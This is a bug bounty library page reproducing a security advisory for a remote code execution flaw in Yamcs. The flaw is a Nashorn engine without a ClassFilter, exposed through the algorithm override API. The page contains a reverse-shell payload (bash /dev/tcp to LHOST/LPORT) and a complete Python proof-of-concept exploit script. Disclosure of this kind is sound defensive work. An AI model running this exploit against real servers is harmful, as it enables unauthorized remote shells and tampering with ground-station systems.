# Yamcs Vulnerable to Remote Code Execution via Mission Database algorithm override

Yamcs builds its Nashorn script engine without a ClassFilter, so a Mission Database algorithm override lets an attacker run arbitrary Java/OS commands on the server.

- Payout: Research
- Severity: critical
- Program: Yamcs
- Found by: 2BCEB1
- Disclosed: 2026-05-27
- CVE: CVE-2026-46562
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-vmwp-vh32-rj75
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-vmwp-vh32-rj75
- Tags: area:web domain:api domain:web impact:integrity impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:java technique:source-review vuln:command-injection vuln:rce

**Target:** Yamcs HTTP API mdb-overrides algorithm endpoint (Nashorn ScriptEngine)
**Root cause:** ScriptAlgorithmExecutorFactory obtains the Nashorn ScriptEngine via factory.getScriptEngine() without supplying a ClassFilter, so user-supplied algorithm text evaluated by scriptEngine.eval() can reach any Java class through Java.type().
**Steps:**
1. Identify a JavaScript CustomAlgorithm in the MDB, e.g. `/YSS/SIMULATOR/Battery_Voltage_Avg` in the simulator instance.
2. Craft algorithm text that closes the generated wrapper function, runs the payload at top level, then reopens a dummy function: `} Java.type("java.lang.Runtime").getRuntime().exec(["bash","-c","exec 3<>/dev/tcp/LHOST/LPORT; id >&3; sh -i <&3 >&3 2>&3"]); function _x(){`.
3. Send `PATCH /api/mdb-overrides/simulator/realtime/algorithms/YSS/SIMULATOR/Battery_Voltage_Avg` with body `{"action":"SET","algorithm":{"text":payload}}`.
4. Optionally `PATCH` with `{"action":"RESET"}` afterwards; the reverse shell connects to the listener.
**How found:** Code review of the algorithm override path: noticed the Nashorn engine was fetched via factory.getScriptEngine() with no ClassFilter argument, then traced MdbOverrideApi.updateAlgorithm through AlgorithmManager.overrideAlgorithm to scriptEngine.eval().
**Exploitation:** Unauthenticated in default config (guest user has superuser=true, no security.yaml) or with the ChangeMissionDatabase privilege otherwise. Attacker PATCHes the algorithm override endpoint with JavaScript that escapes the wrapper function and calls Java.type("java.lang.Runtime").getRuntime().exec() to spawn a reverse shell as the Yamcs OS user; syntactically valid payloads fire no event, leaving no trace.
**Escalation:** From RCE: forge/block telecommands, tamper with telemetry archive, read keys/credentials/MDB files, pivot to other ground-station systems, and install a persistent backdoor via the same primitive.
**Insight:** When auditing embedded script engines (Nashorn, Rhino, Groovy), check whether getScriptEngine()/eval is called with a ClassFilter or sandbox — a missing filter turns any 'edit script' feature into RCE; also check whether the wrapper function around user text can be escaped with a leading `}`.

## Proof of concept (copied exactly from the original report)

**Python PoC script for RCE via algorithm override**

```
#!/usr/bin/env python3
"""
Usage: python3 <poc>.py http://target:8090 LHOST LPORT
"""
import json, sys, time, urllib.request

TARGET    = sys.argv[1].rstrip("/")
LHOST     = sys.argv[2]
LPORT     = int(sys.argv[3])
INSTANCE  = "simulator"
PROCESSOR = "realtime"
ALGORITHM = "YSS/SIMULATOR/Battery_Voltage_Avg"

# Close the generated wrapper function with `}`, execute the payload at
# top level, then re-open a dummy function so the trailing `}` emitted
# by ScriptAlgorithmExecutorFactory parses. No throw -> no event fired.
payload = (
    '} '
    'Java.type("java.lang.Runtime").getRuntime().exec('
    f'["bash","-c","exec 3<>/dev/tcp/{LHOST}/{LPORT}; id >&3; sh -i <&3 >&3 2>&3"]); '
    'function _x(){'
)

patch = f"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}"

def http(method, url, body=None):
    req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None,
                                  method=method, headers={"Content-Type": "application/json"})
    return urllib.request.urlopen(req, timeout=10).read()

http("PATCH", patch, {"action": "SET", "algorithm": {"text": payload}})
time.sleep(2)
http("PATCH", patch, {"action": "RESET"})
```

